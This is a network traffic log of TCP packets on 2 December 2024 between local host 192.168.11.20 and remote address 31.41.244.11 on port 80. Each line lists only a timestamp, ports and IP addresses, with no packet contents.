Dec 2, 2024 11:21:09.477454901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477507114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477597952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477622986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477654934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477699041 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477741003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477770090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477778912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477813005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477830887 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477857113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477879047 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477885962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477977037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477977037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478130102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478176117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478203058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478246927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478260040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478291035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478308916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478321075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478363037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478404045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478445053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478451967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478477001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478533030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478557110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478601933 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478636980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478667021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478714943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478806019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478831053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478965044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.478976965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.478993893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479077101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479123116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479145050 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479191065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479226112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479226112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479235888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479321003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479351044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479379892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479429960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479481936 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479588032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479635954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479667902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479711056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479810953 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479831934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479860067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.479865074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479907990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479949951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479979038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.479990005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480021954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480065107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480082035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480082035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480093002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480248928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480348110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480395079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480423927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480468035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480523109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480523109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480576038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480607033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480627060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480649948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480694056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480732918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480794907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480796099 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480839968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.480846882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.480993032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481096983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481127977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481173038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481215954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481244087 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481276035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481328011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481328011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481374025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481404066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481484890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481484890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481621981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481667995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481697083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481739998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481772900 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481781960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481811047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481822968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481853962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481913090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.481965065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.481997013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482017040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482038975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482120991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482225895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482240915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482264996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482347965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482383013 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482455015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482490063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482557058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482608080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482618093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482728958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482744932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482840061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.482891083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.482961893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483048916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483078957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483112097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483122110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483166933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483196020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483200073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483237982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483309984 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483320951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483395100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483428955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483473063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483525991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483594894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483606100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483628035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483712912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483733892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483757019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483788967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483831882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483850956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483850956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.483942032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483973026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.483983040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484081984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484083891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484230042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484332085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484364033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484406948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484450102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484478951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484488964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484523058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484551907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484566927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484596014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484603882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484662056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484662056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484708071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484817982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484850883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484863997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.484893084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484935999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.484970093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485033035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485035896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485111952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485137939 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485266924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485374928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485407114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485471964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485515118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485515118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485544920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485588074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485605955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485605955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485786915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.485835075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485867023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485909939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485953093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485982895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.485995054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486066103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486112118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486148119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486179113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486208916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486222029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486310005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486330986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486365080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486407995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486439943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486450911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486480951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486491919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486557007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486561060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486608028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486641884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.486763954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.486810923 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.799582958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.799679041 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.799716949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.799762011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.799837112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.799900055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.799987078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800038099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800084114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800131083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800174952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800205946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800249100 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800252914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800291061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800322056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800364971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800379038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800409079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800438881 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800451994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800483942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800525904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800569057 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800570011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800621986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800709963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.800766945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800798893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800843954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800888062 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800916910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800970078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.800968885 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801029921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801044941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801080942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801109076 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801153898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801198959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801286936 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801337004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801367998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801419020 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801479101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801482916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801568031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801599026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801640987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801676035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801800966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801801920 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.801834106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801863909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801908016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801951885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.801980019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802054882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802061081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802054882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802143097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802172899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802196980 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802216053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802242041 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802329063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802341938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802361012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802371025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802444935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802499056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802601099 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.802737951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802772045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802885056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802932024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.802963018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803006887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803071976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803101063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803267956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.803267956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.803307056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.803431034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803488016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803520918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803632021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803678036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803708076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803750992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803771019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.803795099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803826094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803867102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803951025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.803982973 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804063082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804091930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804091930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804125071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804195881 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804225922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804333925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804379940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804477930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804477930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804569960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804631948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804689884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804737091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804771900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804817915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804855108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.804955006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.804987907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805036068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805042028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805042982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805105925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805139065 CET	80	49753	31.41.244.11	192.168.11.20
